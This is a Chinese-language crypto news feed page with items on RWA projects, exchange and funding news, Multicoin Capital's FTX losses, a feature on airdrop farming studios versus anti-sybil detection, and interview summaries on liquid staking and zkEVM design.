1区块链：如专为RWA代币构建的机构级许可区块链Polymesh；基于Cosmos SDK构建的允许用户发行、交易RWA代币的MANTRA Chain；专注于RWA代币发行和管理的Realio Network；基于Cosmos SDK构建的，让金融机构能够发行和交易金融资产代币的Provenance；专注于融资和信贷的Intain等。 通证化平台：如前面提到的Centrifuge。 身份：如解决去中心化身份问题的SprucelD和Quadrata。 RWA在稳定币、债券、股票类资产中应用较多，其它的房地产、碳信用凭证、艺术品、贵金属等方向的应用也在增加。DeFi头部项目中Maker已经将7亿美元的资金投向RWA。 合规在RWA的发展中较为重要，很多项目需要KYC，可能仅取得了公司主体所在地的许可，但美国等地区的用户仍然不能使用。 这些项目不一定都是去中心化的，链上资产的发行需要安全可靠的机构背书，已经发展多年的中心化机构在这方面存在优势，也可能不会发行原生代币。  ( 2 min )
    去中心化身份协议SPACE ID与公链Sei合作，或将推出.sei域名服务
    PANews 4月20日消息，据官方推特，去中心化身份协议SPACE ID与Layer1公链Sei Network达成合作，Sei发文“Soon.sei”暗示或将推出.sei域名服务。  ( 1 min )
    Deribit将于4月24日推出零费用现货交易
    PANews 4月20日消息，据The Block报道，加密期权交易平台Deribit宣布将于4月24日推出零费用现货交易，Deribit首席商务官Luuk Strijers表示：“过去几个月，我们一直致力于现货交易解决方案的实施。我们现在能够为客户提供全方位的交易机会，包括衍生品和现货交易。” 在推出时，Deribit将提供三对现货交易：BTC/USDC, ETH/USDC和ETH/BTC。Strijers表示，该平台可能会上线更多的代币，但零费用不会长期持续下去。他说，自由交易将在“可预见的未来”存在。  ( 1 min )
    Web3数据管理工具开发公司Fluree完成1000万美元A轮融资
    PANews 4月20日消息，据VentureBeat报道，Web3数据管理工具开发公司Fluree宣布完成1000万美元A轮融资，SineWave Ventures领投，其他投资者未披露。截至目前该公司的融资总金额已超过1600万美元。新资金将用于该公司继续建设其“以数据为中心的基础设施”，并协助企业将其遗留基础设施升级为协作式现代数据平台。 据悉，Fluree主要提供区块链支持的语义图形数据库，帮助企业管理数据资产，通过结合许可区块链技术、语义Web标准和数据安全策略控制，让开发人员以去中心化和可信的格式存储和管理数据。  ( 1 min )
    比特小鹿2022年总收入为3.333亿美元，净亏损为6040万美元
    PANews 4月20日消息，据官网消息，吴忌寒旗下矿业公司比特小鹿Bitdeer发布2022年全年财务业绩和运营更新报告。根据该报告，截至2022年12月31日，Bitdeer 2022年总收入为3.333亿美元，较2021年的3.947已美元下降15.5%，主要是由于专有挖矿、矿机销售和云算力产生的收入减少，部分被三种托管服务产生的收入增加所抵消，这部分是由公司挖矿数据中心业务的扩张所推动的。 此外，2022年净亏损为6040万美元，而2021年净利润为8260万美元。2022年12月31日，公司管理算力为14 EH/s，比截至2021年12月31日的8.1EH/s增长了72.8%。截至2022年12月31日，电力容量为775MW，比截至2021年12月31日的402MW增长92.8%。 此前消息，比特小鹿于4月14日上市纳斯达克。  ( 1 min )
    a16z Crypto推出OP Stack rollup客户端Magi，旨在成为op-node可行替代方案
    PANews 4月20日消息，据官方博客，a16z Crypto宣布推出新的Optimism Stack rollup客户端Magi。Magi是一个用Rust开发的OP Stack rollup客户端，Magi执行与参考实现(OP-node)相同的核心功能，并与执行节点(如OP-geth)一起工作，以同步到任何OP Stack链，包括Optimism和Base。因为执行端和共识端都需要客户端多样性，但到目前为止，大部分开发都集中在执行端。Magi的目标是成为op-node的独立开发的直接替代品，增加rollup的客户端多样性。 Magi可能需要数月的开发时间才能成为op-node的可行替代方案。a16z Crypto计划在不久的将来添加的一些功能和改进：1.跟踪未确认的块以降低延迟、可提高初始同步速度的新的同步机制、支持替代数据可用性层、用于测试Magi及op-node和任何未来客户端的更好框架。 相关阅读：3分钟速览a16z的“L2野心”：基于OP Stack的Rollup客户端Magi  ( 1 min )
    公链项目Sui将于5月3日正式启动主网
    PANews 4月20日消息，据官方推特，公链项目Sui Network宣布主网将于2023年5月3日正式启动。  ( 1 min )
    Bitcoin Core开发者Dhruvkaran Mehta宣布离职，将专注于新的创业理念
    PANews 4月20日消息，据CoinDesk报道，Bitcoin Core开发者Dhruvkaran Mehta（推特账号@dhruv）宣布离职，不再寻求下一年的Bitcoin Core开源资助，并将专注于比特币相关的新创业理念。他在推特上称：“我有一个让我非常兴奋的比特币创业点子，有些晚上很难入睡。我觉得我必须试一试。不冒任何风险就是冒一切风险。” Mehta于2020年8月开始为Bitcoin Core做出贡献，曾由Block子公司Spiral资助，Mehta主要致力于通过BIP-324改进比特币P2P协议。BIP-324试图通过引入一种对比特币节点之间的消息进行加密的P2P协议版本来降低攻击和漏洞的可能性。  ( 1 min )
    Helium网络已完成向Solana网络迁移
    PANews 4月20日消息，据官方公告，Helium网络已完成向Solana网络迁移。此次升级对Helium实施几项技术更改，包括添加智能合约功能、引入动态市场以按需分配奖励、降低交易成本、直接访问DeFi功能、获得更大的全球开发者社区、网络功能转至预言机可提升网络效率、兼容Solana程序库 (SPL) 、HNT代币功能变化、投票和治理的变化等。 其中，关于HNT代币功能变化，当前的原生代币HNT将不再由LoRaWAN热点开采，取而代之的是开采IOT，IOT作为Helium IoT网络的激励和治理代币；HNT仍将是使用网络的独家代币；HNT仍将被燃烧以获得数据积分 (DC)。IoT和5G子网都将通过不同的独立治理进行定价。 关于投票和治理的变化，Helium治理模型将从纯粹的HNT加权投票转向加权投票模型，该模型通过投票托管系统使长期合作伙伴受益。这不仅将权力转移给了那些对网络健康有长远看法的人，而且还为委托原生Helium代币提供了收益。它还支持对IoT和5G网络进行独立治理。 相关阅读：Helium为何要放弃构建自己的区块链转投Solana？  ( 1 min )
    Multicoin Capital联创亲述：从质疑到押注，我们是如何与FTX结下“孽缘”的？
    原文：《Down With the FTX Ship: Multicoin Capital Talks Lessons Learned》by Blockworks 编译：Odaily 星球日报 Azuma FTX 的崩溃是 2022 年加密货币行业中最沉重的话题，对那些因此遭遇了经济损失的个人及机构而言更是如此。 Multicoin Capital 是业内最知名的投资机构之一，在 FTX 快速崛起的过程中，该机构曾与 FTX 及其创始人 SBF 有过密切合作，然而随着大厦的倾塌，该机构也遭受了巨大的损失。 2022 年秋末的短短两周内，随着 SBF 深度参与的 SOL 以及 FTX 自身平台币 FTT 的崩盘，Multicoin Capital 损失了55% 的账面资金，而根据今年三月公布的投资者信件可知，Multicoin Capital 的对冲基金在整个 2022 年的亏损幅度更是高达 91.4%。 故事的最开始，Multicoin Capital 是如何与 FTX 结缘的？ 近期，Multicoin Capital 联合创始人 Kyle Samani 和 Tushar Jain 与海外媒体 Blockworks 共同参与了一场播客，主持人 Jason Yanowitz 问了这么一个问题：“Multicoin Capital 是如何与 FTX 纠缠在一起的？” Samani 解释称，虽然 Multicoin Capital 早期（2019 年）并没有投资 FTX，但他们对该交易所的快速增长很感兴趣。那时，Solana 刚刚推出主网，DeFi Summer 也在逐渐起势，SBF 天天在推特上高谈阔论，这吸引了 Multicoin Capital 的关注。 当双方进行了电话讨论之后，SBF 开始建设 Serum，这是一个运行在 Solana 网络之上的 DeFi 中心，Multicoin Capital 则决定与 FTX 一起投资该项目。 Samani 称：“当时我们和 SBF 的关系很好，但很快就出了些问题，原因很简单。” Samani 继续表示，Multicoin Capital 方面对于 Alameda 和 FTX 之间的可疑关系有过一些顾虑，在双方初期合作成功的同时，Multicoin Capital 自己进行了一些调查，寻求其他做市商的看法，但得到的反馈是“非常积极的”。 于是 Multicoin Capital 只能选择：“好吧……那让我们再看看。” Jain 就此补充解释称：“我们最初的担忧是，Alameda 与 FTX 的关系可能会为其做市业务带来额外优势，这将吓跑其他 FTX 上的做市商。我们与一些在做市商进行了交流，但他们说没有注意到这种优势。” 2022 年秋天，当 Samani 和 Jain 在葡萄牙里斯本参加 Solana Breakpoint 会议时，危机开始悄然逼近。 在听到 FTX 可能出现问题的传言之后，Multicoin Capital 的第一反应的是情况应该可以控制。 Jain 表示：“考虑到 FTX 已经筹集了大量的股权资本，这应该足够缓冲了……FTX 的利润非常可观， 2021 年的收入超过 10 亿美元，所以他们有相当多的钱……可能存在一些流动性期限错配的问题，或是资金被杠杆头寸所束缚了，他们需要一些时间来解掉这些头寸……我们不认为这会导致破产。” 当主持人以双方共同参与了多起投资为由，继续追问 Multicoin Capital 和 FTX 之间的关系有多紧密时，Jain 则反驳称：“我不这么认为（双方关系过于亲密），这里边有太多添油加醋的成分了。” Samani 补充表示，在很多投资案例中，Multicoin Capital 都在和 FTX 或 Alameda 争夺投资份额，有时 FTX 会把 Multicoin Capital 挤出去，有时则是 Multicoin Capital 挤掉 FTX。 Samani 称：“我们关系好吗？是的，但这是金融市场，我们也是竞争关系。” 在播客中，Jain 还回顾了他对 SBF 的早期印象：“这个人能够与世界上最知名的投资基金、最老练的投资者们交谈，并说服他们投资自己。” Jain 认为，FTX 事件的祸因在于“没有限制 SBF 的治理手段，内部运作也完全没有透明度”，这造成的后果是他们几乎可以为所欲为。 Jain 举了个例子：“比如 CEO 可以去找到 CTO，让他写一个后门程序，使得 CEO 转移资产时不会惊动审计人员……从监督的角度来看，几乎没有办法防止这种情况的发生。” 为了提高未来的监管水平，Jain 建议像运营 DeFi 协议那样去运营交易所，所有的内容均需做到可实时审计。 Jain 最后表示：“金融的未来不该是季度报告，这是诞生于 20 世纪的老掉牙的东西。金融的未来应该是实时了解当前所发生的一切。”  ( 3 min )
    道高一尺，魔高一丈，项目方和羊毛党间正上演一场“猫鼠游戏”
    原文：《空投内卷史：一场项目方和羊毛党间的「猫鼠游戏」》 作者：念青，ChainCatcher 一个月前，Arbitrum 基金会正式公布空投信息。 尽管不少羊毛党在Arbitrum“很卷”的空投规则中阵亡，但仍然不能否认，这是币圈又一场声势浩大的造富运动。“刷了几千个号”“拿了几十万个Token”“一夜自由”的传奇故事再度广为流传。 热情溢出到Starknet等发币潜力巨大的项目。据 0xScope 推特，在 Arbitrum 宣布空投后，其他有潜力空投的项目近日的每日活跃用户激增，其中 zkSync 和 StarkNet 增长最为明显，日活用户数增长约 10 倍以上。 网友调侃，最近zkSync Era交互已经卷到“有大爷大妈带退休金入场”。而也有不少专业空投工作室都针对zkSync空投开展了专业的“带撸”、培训班等业务。 从2020年9月，Uniswap开启的空投盛宴至今不到三年的时间，空投的形式、性质、参与规模等均发生了巨大的变化。空投不再单纯是一场链上的狂欢，其中涉及的利益相关方也逐渐卷入做市商、中心化交易所、钱包等，于是交易所抢上、大户砸盘、Gas战争、项目方官网宕机等名场面也开始频繁出现。 但无论是项目方还是羊毛党，都在这场猫鼠游戏中不断升级攻防手段，并逐渐演变成一种相互对抗但又相互依赖的诡异关系。 一、空投内卷简史 加密史上第一次空投最早可以追溯至 2014 年，一名叫 Baldur Friggjar Odinsson的程序员发明了“冰岛比特币”AuroraCoin，并且为冰岛的33万名公民每个人都空投了31.8个代币。此后虽然出现了多次空投，但影响有效。直到Uniswap 的 UNI 空投带来的财富效应，又重新点燃了人们对空投的热情。 如果我们把Uniswap作为Web3空投盛宴的起点，那么，空投发展大致可以分为以下几个阶段（类型）： 1、快照前交互：在空投早期，用户只要在快照之前的某个时间段交互过至少一次就有资格获得空投，例如 Uniswap、1inch等项目的空投。其中，Uniswap将15% 的代币空投给了超过 25 万个用户，基本上只要在2020 年 9 月 1 日之前使用过 Uniswap就可以获得至少400枚UNI，当时价值约800美元。 2、依据少数条件过滤地址：经历了第一阶段暴利的刺激后， “羊毛党”团体不断壮大，项目方开始对空投资格加上诸多限制条件，例如在不同的月份具有交互历史，交互金额高于100U等。此时，由于市场行情的走高，项目方的平均空投价值也在水涨船高，Ampleforth、Tornado.Cash等项目的平均空投价值均在5000美元左右，Ribbon Finance的平均空投价值甚至达到6万美元。 3、搭建节点等“硬核”交互要求：近期不少项目开始提高测试网用户的交互门槛，尤其是“必然发币”的公链项目，例如Aptos、Aleo、Iron Fish等公链项目，用户大多需要购买云服务器。具体以已经发空投的Aptos为例，用户需要参与节点测试，而参与节点测试需要购买海外服务器，并进行环境配置，需要有一定的Linux基础。而对于用户来说，这种类型的交互门槛高，且付出的成本高。 4、积分制空投：积分制本着多劳多得的原则对用户进行激励。例如NFT市场 Blur的空投规则，不仅会依据拉新人数、交易数量和交易金额等发放积分，而且也通过多次空投、分阶段的空投保证用户的留存率和忠诚度。在激励明码标价、非常明确的前提下，产生的网络效应自然非常可观。 实际上，Arbitrum同样属于积分制空投的“优等生”。 Arbitrum 此次空投综合考虑了多方面的因素，综合了时间跨度、交互金额、交互频率、交互频次等多个因素来对用户进行阶梯式空投，不仅有加分项，也会依据反女巫规则进行减分。在对交易大户进行激励的同时也照顾到了部分小成本用户。 Arbitrum空投相关数据，目前仍有少量地址未领取空投，来源：Dune 5、社区举报女巫运动：除了通过特点的规则筛选、检测女巫，部分项目方为了识别出更多的女巫地址还会群策群力，在社区发起空投猎人和举报女巫活动。此前 Hop、Optimism、Safe都曾发起举报女巫运动。比如，Optimism去年空投中，通过官方调查+社区举报等抓出了1.7万个女巫，女巫率约7%。 但类似的社区挑战也引发了较大争议。例如去年Safe空投时规定，成功举报空投猎人的用户可获得被举报者 25% 的 SAFE ，剩余的 75% 将分配给其他所有符合条件的人。对于在被其他人举报之前主动自首的空投猎人，可以保留 25%。在强激励下，最初符合空投条件的 43,058 个地址中，有近四分之一 已被认定为女巫攻击者，并取消其在本次空投计划中的资格。因为扫射面过大，项目方被指责不符合“Web3精神”“缺乏格局”等。所以，之后鲜有项目方再采取类似反女巫手段。 6、KYC、灵魂绑定代币（SBT）等身份验证：SBT的重要用例之一的确是反女巫，但目前并未被项目方普遍用于空投检测，原因有二：一是SBT基础设施尚不完善，二是在Web3早期发展阶段仍需利用“羊毛党”带来的网络效应。 此外，和KYC一样，SBT用于空投检测女巫时仍面临较大争议。去年9月，币安推出灵魂绑定代币BAB，持有即可获得14个潜在空投。但不少人批评，这无疑是在“拿利益交换灵魂”，利用一些“羊毛和空投”就可以获取到一个用户的个人信息，方法甚至比Web2更廉价。 即将发布空投的隐私的公链IronFish因需要KYC才能获得测试奖励也招来不少批评的声音。Iron Fish 为获得激励的用户推出网站并发送电子邮件，其中包含经过验证的电子邮件和测试网点。用户收到通知后，前往兑换门户并完成 KYC 流程。每位用户仅限兑换一次测试网奖励代币。 除了 KYC 流程外，Iron Fish 还将在内部进行重复数据删除和批准流程。3 月 9 日，官方团队在 Discord 宣布已经禁止了 97281 (57%) 个帐户，有 171891 名用户获得积分，预计会有更多账户无法通过 KYC 并将被进一步过滤。 Iron Fish 代币经济模型 总体而言，空投进化史略等同于反女巫史。 在不断对抗升级的过程中，越来越多的项目方和数据分析平台在女巫地址识别上都已经形成了自己的标准和手段。 据数据平台X-Explore分析，由于女巫地址是由一个实体所控制的多个地址，通常会有同一个资金账户转账给这些女巫地址来进行薅羊毛的行为，因此资金来源的一致性，就是判断女巫地址最直接的标准。专业的女巫或者“羊毛党”则会借由脚本来控制多个地址，来与几个潜在空投项目做交互，因此地址和地址之间的“交易记录相似性”是评断女巫的另一个重要的指标。 以Arbitrum为例，相比其他项目方，其在空投设计上较为用心，且综合运用了多种手段。反女巫数据分析平台 Trust Labs 认为Arbitrum在反女巫上有多处可圈可点：1）利用Nansen的地址标签，特意排除了CEX、Bridge地址，这样可以减少误杀；2）其核心团队Offchain Labs亲自下场分析女巫行为，使用了the Louvain Community Detection Algorithm基于资金网络进行分析；3）考虑了HOP的黑名单。 使用the Louvain Community Detection Algorithm基于资金网络的分析、利用过往项目方的黑名单都是目前较为常用的反女巫策略。此外，TrustScan还会考虑批量操作和相同行为序列等反女巫手段。 当然，即便Arbitrum和其他项目相比，已经对女巫非常严格，但仍存在很多漏洞。根据 X-Explore 的估计，Arbitrum 空投中仍包含约 15 万个女巫地址和至少 4000 个女巫社区，项目方并没有办法识别下列的女巫：1. 从交易所出入金的女巫地址；2. 透过合约分散资金的女巫地址；3. 使用跨链桥转移资金的女巫地址；4. 在快照之后才有归集行为的女巫地址；5. 只针对 ETH、Arbitrum 上有女巫行为的地址检测，没有把其他 Layer 2 链的女巫检测结果纳入考量。 尽管项目方空投条件越来越苛刻，在反女巫技术上也逐步专业化、精细化，但“羊毛党”也毫不示弱，在与项目方的对抗中不断武装着自己。 所谓“道高一尺，魔高一丈”，撸毛难度伴随着每次大规模空投进行升级。散户逐渐面临无利润甚至被反撸的风险，“羊毛党”同样开始走向专业化，大量空投工作室、培训班和分销模式的出现，也在一定程度上标志着这个小众行业在逐渐走向成熟。 网传 zkSync 交互 gas 花费表 针对项目方的反女巫策略，空投工作室也演化出不同的应对策略。 钱鑫是从Uniswap空投时期开始的“专业户”。在感受到大规模空投的趋势后，他就养成了定期看项目和交互的习惯。他一直坚持的一个原则是以“早期贡献者”的状态去交互，并进行手动操作，他的空投策略几乎可以总结为“没有技巧，全靠勤奋”。 在最近的Arbitrum 空投中，钱鑫纯靠手动操作的69个号大约有一半都拿到了空投。对比之下，其近期成立的工作室也在Arbitrum生态首次尝试群控和批量交互，但因为转账金额、交互内容高度重复，最终1300个地址仅有2个地址获得空投，其他都被“毙掉”了。钱鑫也一直劝自己所在社区的“羊毛党”们少用工具。 “我在交互项目时，是真的认可这个生态，甚至愿意扮演早期贡献者的角色”，钱鑫表示，空投的本质是Gas补贴，但如果生态发展良好，甚至不需要依赖空投覆盖成本。他在Arbitrum上前后交互了两年时间，其中有很多地址都通过交互 Magic生态、GMX等发展较好的项目赚了一些钱。 钱鑫认为，空投工作室和一级市场的投资非常类似。选择哪个项目进行交互或者说“撸羊毛”的过程同样需要行业认知、对项目方保持高度关注并及时捕捉信息，这些行为和投研机构做的事情没有本质区别。 和钱鑫的策略不同，昊天所在的空投工作室“木偶师”专门组建了自己的技术团队开发了一套更严密的空投工具。 据昊天介绍，团队最早一直在做投研和一二级市场的投资，但去年Luna暴雷后，市场持续下跌，尤其对于二级市场投资的影响巨大，团队不得不开始考虑如何更好地生存下去。行业内有个流行的说法是“熊市撸毛，牛市炒币”，对于小型投资机构和普通用户来说，想要穿越牛熊，“撸空投”或许是一个选择。于是，团队在经过充分调研之后，决定开辟了一个专门的“撸空投”部门，部门成立后对过往明星项目进行了深度对比研究，并在此基础上形成了自己的策略。 群控软件操作界面 去年11月，团队开始尝试批量操作，虽然找了很多类似指纹浏览器、群控软件和云服务器等提高交互效率的工具，但是他们发现目前市场上并没有很好的产品能够充分满足目前不是“科学家羊毛党”的需求。于是，在现有工具基础上，团队便着手开发了一套无需代码能力就可以操作的交互系统。 据“木偶师”团队介绍，在近期Arbitrum空投中，工作室大约有小千个地址拿到了空投，但因为去年11月开始开发的系统才开始正式投入使用，所以时间上较为仓促，“不然最多就会有五千个地址能拿到空投”。在具体交互行为上，团队抱着投研的目的进行交互，对于投入的成本、时间和交互的次数都有一定的要求。此外，拿到Arbitrum的空投之后，他们并没有着急出货。“木偶师团队”表示，团队在交互的过程对Arbitrum这条二层公链的体验非常好，后续也希望能继续深度参与生态，寻找更多机会。 而提到加密市场对于“撸毛党”的评价，“木偶师”团队认为，空投工作室实际上正在改变一级市场的投资格局。“很早之前，普通用户在Coinlist 上有机会拿到像Flow这种比较优质的筹码，但自从大机构入场以后只有像a16z、红杉这种大风投机构才能拿到优质项目的早期代币，而撸空投可以让普通用户也能拿到优质项目的筹码。” “木偶师”团队表示，去年开始的熊市似乎和此前的情形略有不同，并没有多少用户离开这个圈子，而是选择“撸羊毛”和交互项目持续等待。实际上，羊毛党在一定程度上能够帮助优质的项目方度过熊市——Arbitrum在2月公布过一个数据，其链上协议收入是78万美元，这就说明在撸毛的也是真实的用户，在为项目方带来实际收益，陪伴优质项目一直做下去。此外，撸毛的专业化会倒逼项目方在认真做产品这个方向上更专业，进而推动行业的发展。 加密市场似乎对“撸毛党”风评变了。 在空投早期，使用大量地址批量交互的羊毛党被视为投机者和搅局者，对于认真做事的项目方来说，“激素流动性”并没有什么吸引力，从长远来看，短期好看的数据并不会给项目方带来价值。此外，女巫或女巫社区通过刷量会导致代币囤积，会影响项目代币分发公平性。 以Aptos 为例，其在最终测试网阶段数据高得惊人——测试网在不到 2 周的时间内完成了超过 8 亿笔交易，实现超过 4000 TPS。空投过后，Aptos活跃地址数、交易笔数和TPS迅速下降。据Aptos explorer显示，目前 Aptos链上平均TPS仅为 10。 此外，Aptos因未防女巫攻击，导致羊毛党大获全胜，直接结果就是Aptos代币上线后便出现巨大的抛压。 Aptos 日活跃用户变化，来源：GenliData 但客观来讲，Aptos空投引发了前所未有的财富效应和出圈的网络效应，一时间，大批掘金者涌入Web3，带着满腔热情开始寻求下一个暴富机会。 但ICO的消亡、IDO的式微和VC对于早期项目代币的垄断，似乎赋予了“羊毛党”某种“梁山好汉”般的正义感及正确性。对早期用户空投也俨然成为市场对许多项目的“道德要求”与“政治正确”所在。 加密KOL@煌道曾在其社交媒体上发文：“撸毛本质上撸的不是毛，而是区块链明星初创企业的原始股。”而Element创始人王峰也曾在推特上表示：“近一年的观察，撸毛日趋成为准一级市场投资……” 不少圈内人对此类观点表示赞同，毕竟像Arbitrum、Aptos这种明星项目，只有顶级VC才有机会拿到早期代币份额。而如果把“撸毛”当做一种投资行为，反而要比ICO安全更多。 而从生态角度看，“撸毛党”已经成为Web3生态发展的重要部分。小白用户通过空投预期进入Web3领域并获取可观收益，项目方通过测试网的交互任务实现了教育用户的目的。而在Web3发展早期，项目方在测试网阶段的确需要大量“羊毛党”来进行一定的压力测试来更好完善网络性能。此外，市场也有猜测称，项目方可以通过空投保证代币分布的去中心化，而非高度集中于团队与VC，因而在应对监管与上大所方面处于有利位置。 更有甚者认为，如今的“撸毛”生态已经成为项目方、用户与VC机构的一场“合谋”，各方各取所需，最终从代币二级市场抽取利益。 随着行业“内卷”，赛道划分会越来越细。有专业空投工作室出现，就有专业反女巫机构的出现。 项目方的确存在保护真实用户利益、公平发行代币、为优化产品而过滤羊毛党的需求，而反女巫可以称得上是一个“精细活”，项目方不一定有足够的技术手段和时间精力剔除女巫账户，专业第三方不仅从识别算法上会更加完整，也会协助项目方设计更多运营策略。 前文提到的Trust labs 就是一家专门反女巫的工作室，目前已经和部分公链、DAO和DID等项目合作，其防女巫的适用场景也不仅局限于空投，也适用于捐赠投票、市场活动甚至有用户行为分析需求的场景。Trust labs认为，一个健康持续的Web3社区会逐渐形成反女巫的共识，未来反女巫会和代码审计一样成为项目方的必选动作。 而X-Explorer认为，伴随着越来越多的“撸毛党”和专业空投工作室的出现，以及随着Web2的黑灰产团队入场，撸毛的自动化能力也越来越完善，撸毛赛道的内卷程度加剧后其收益并不乐观。撸毛是与项目进行交互，测试项目的各种性能，因此其更倾向于专业的空投工作室与项目方之间进行合作，以技术测试的方式对项目的各种性能问题进行大规模压测。最终会形成“双赢”的局面。 随着 ChatGPT 的出现，Twitter 上也开始充斥着各种用AI工具产生撸毛脚本的教程，使得“撸毛党”的门槛正在逐渐降低。不难想象，未来“撸毛党”的行为模式在AI的助力下，可能变得越发“扑朔迷离”难以追踪，对抗成本也将随之上升。在这个前提下，项目方更需要专业数据分析平台的协助。 事实上，互联网撸羊毛历史由来已久。早在互联网流量大战时期，在优惠券、抢红包、积分兑换、VIP等各种羊毛的刺激下，也诞生了不少类似挂机撸毛软件、工作室等灰色产业。 而游戏领域在游戏装备等高额利润刺激下，也诞生了打金工作室等灰产，通过多设备、多开器、云平台等实现大批量角色同时在线，利用按键脚本或群控软件等第三方辅助重复刷取游戏内游戏币资源获利。但很快，各家安全、数据公司很快就出现了更为严苛的检测工具和防挂机软件。 但Web3是否最终会形成像Web2那样精细的反女巫产业？ 在行业发展早期，空投引发的一场又一场财富效应和去中心化的终极理想对越来越多的人进入web3项目实际上是有正向意义的，仍有掘金机会和“暴富幻梦”，也是Web3最大的魅力所在。因此，目前多数的项目方本着“水至清则无鱼”的哲学，为这个“幻梦”留有一道缝隙。 在互联网行业，随着流量红利周期的结束，羊毛党大军大多也偃旗息鼓，Web3行业也会遵循类似的轨迹吗？可以确定的是，空投作为Web3项目“社区共建/主导”理念的具体体现，它会长期存在于行业，为志在Web3的个体用户提供广阔的施展空间。 尽管工作室式“撸毛”在早期收获巨额收益，但随着空投内卷程度的加深、项目方反女巫手段的升级，当工作室的收益难以覆盖上千上万账号的成本时，工作室式“撸毛”或许将进入不可持续阶段并逐渐沉寂。 StarkNet、zkSync 们，会是羊毛党们最后的狂欢吗？  ( 3 min )

  • Open

    对话 Ankr DeFi 主管：流动性质押或将成为加密投资者的一项改变游戏规则的技术
    Chainfeeds 导读： Hristina Yordanova 采访 Ankr DeFi 主管 Filipe Gonçalves，分享其关于流动性质押的好处、该领域的新发展以及使用质押奖励作为 DeFi 的基础层如何为加密行业带来一个充满可能性的新时代等方面的见解。中文版由 hiiro 编译。 文章来源： https://mp.weixin.qq.com/s/SrVAru-X1wl24r-NJf7FMw 文章作者： Hristina Yordanova 观点： Filipe Gonçalves：流动性质押的魔力在于质押奖励不再与 DeFi 收益率竞争。通过流动性质押，质押者可以获得基础层质押奖励，同时在 DeFi 协议上使用他们的流动性质押代币。然后，他们可以借贷、挖矿，以更多可组合的赚钱策略为目标，而仍然获得质押奖励。 内容来源 Filipe Gonçalves：以太坊上海升级将显著降低流动性质押代币与其价值脱钩的风险，因为所有用户都可以在不公开市场上出售的情况下解押。这将为各类投资者敞开大门，并可能意味着流动性质押代币将成为 DeFi 中的主要内容，为那些希望最大化回报的人提供更多机会。 内容来源 Filipe Gonçalves：以太坊上海升级后，许多人猜测流动性质押的 TVL 将爆炸式增长，因为许多机构和质押者将重新评估他们的盈利策略。随着质押奖励作为 DeFi 的基础层变得司空见惯，它不仅将加强权益证明网络，而且还将迎来一个充满可能性的新时代，因为提供商将深入研究多链解决方案，桥接所有网络并平滑用户体验。 内容来源  ( 32 min )
    对话 Ankr DeFi 主管：流动性质押或将成为加密投资者的一项改变游戏规则的技术
    Chainfeeds 导读： Hristina Yordanova 采访 Ankr DeFi 主管 Filipe Gonçalves，分享其关于流动性质押的好处、该领域的新发展以及使用质押奖励作为 DeFi 的基础层如何为加密行业带来一个充满可能性的新时代等方面的见解。中文版由 hiiro 编译。 文章来源： https://mp.weixin.qq.com/s/SrVAru-X1wl24r-NJf7FMw 文章作者： Hristina Yordanova 观点： Filipe Gonçalves：流动性质押的魔力在于质押奖励不再与 DeFi 收益率竞争。通过流动性质押，质押者可以获得基础层质押奖励，同时在 DeFi 协议上使用他们的流动性质押代币。然后，他们可以借贷、挖矿，以更多可组合的赚钱策略为目标，而仍然获得质押奖励。 内容来源 Filipe Gonçalves：以太坊上海升级将显著降低流动性质押代币与其价值脱钩的风险，因为所有用户都可以在不公开市场上出售的情况下解押。这将为各类投资者敞开大门，并可能意味着流动性质押代币将成为 DeFi 中的主要内容，为那些希望最大化回报的人提供更多机会。 内容来源 Filipe Gonçalves：以太坊上海升级后，许多人猜测流动性质押的 TVL 将爆炸式增长，因为许多机构和质押者将重新评估他们的盈利策略。随着质押奖励作为 DeFi 的基础层变得司空见惯，它不仅将加强权益证明网络，而且还将迎来一个充满可能性的新时代，因为提供商将深入研究多链解决方案，桥接所有网络并平滑用户体验。 内容来源  ( 32 min )
    Scroll 联创：zkEVM 设计，优化和应用
    Chainfeeds 导读： 在最新的 ZKP Mooc 课程中，Scroll 联合创始人 Ye Zhang 发表了关于 zkEVM 设计，优化和应用的演讲。演讲分为四部分，第一部分介绍了开发背景，以及我们为什么首先需要 zkEVM，为什么它在最近两年间变得如此受欢迎；第二部分通过一个完整的流程讲解如何从头开始构建 zkEVM，包括算术化和证明系统；第三部分通过一些有趣的研究问题谈论 Scroll 在构建 zkEVM 时遇到的问题；最后介绍了一些其他使用 zkEVM 的应用。本文为视频的听录文字版本，由 F.F 整理发布。 文章来源： https://mp.weixin.qq.com/s/Ba9I8usthDqj2S4ZOJiFig 文章作者： Ye Zhang（Scroll 联合创始人） 观点： Ye Zhang（Scroll 联合创始人）：零知识证明的效率在过去两年里大幅提高，至少有四个原因让它变得可行，1）多项式承诺：原本 Groth16 证明系统下约束的规模非常庞大，而多项式承诺可以支持更高阶的约束，缩小证明规模；2）查找表和自定义门：可以支持更灵活的设计，使证明更加高效；3）硬件加速方面的突破：通过 GPU，FPGA 和 ASIC 可以将证明时间缩短 1-2 个数量级；4）递归证明：可将多个证明压缩成一个证明，使证明变得更小更易于验证。 内容来源 Ye Zhang（Scroll 联合创始人）：其他使用 zkEVM 的应用：1）在 zkRollup 的架构中，通过在 L1 的智能合约验证在 L2 上的 n 笔交易是有效的。这样的架构方案称为 Enshrine Blockchain，目前在以太坊上直接实现难度非常大，因为需要验证整个以太坊区块，其中会包括验证大量签名，随之带来更长的证明时间和更低的安全性。一些其他公链在通过递归证明使用单个证明来验证整个区块链，如 Mina； 内容来源 Ye Zhang（Scroll 联合创始人）：2）因为 zkEVM 可以证明状态转换，它可以被白帽用来证明自己知道某些智能合约的漏洞，寻求项目方的赏金；3）通过零知识证明证明对历史数据的声明，作为预言机使用，目前 Axiom 正在做这方面的产品。最近的 ETHBeijing 黑客松上，GasLockR 团队利用这一特性证明了历史的 Gas 开销。 内容来源  ( 34 min )
    Scroll 联创：zkEVM 设计，优化和应用
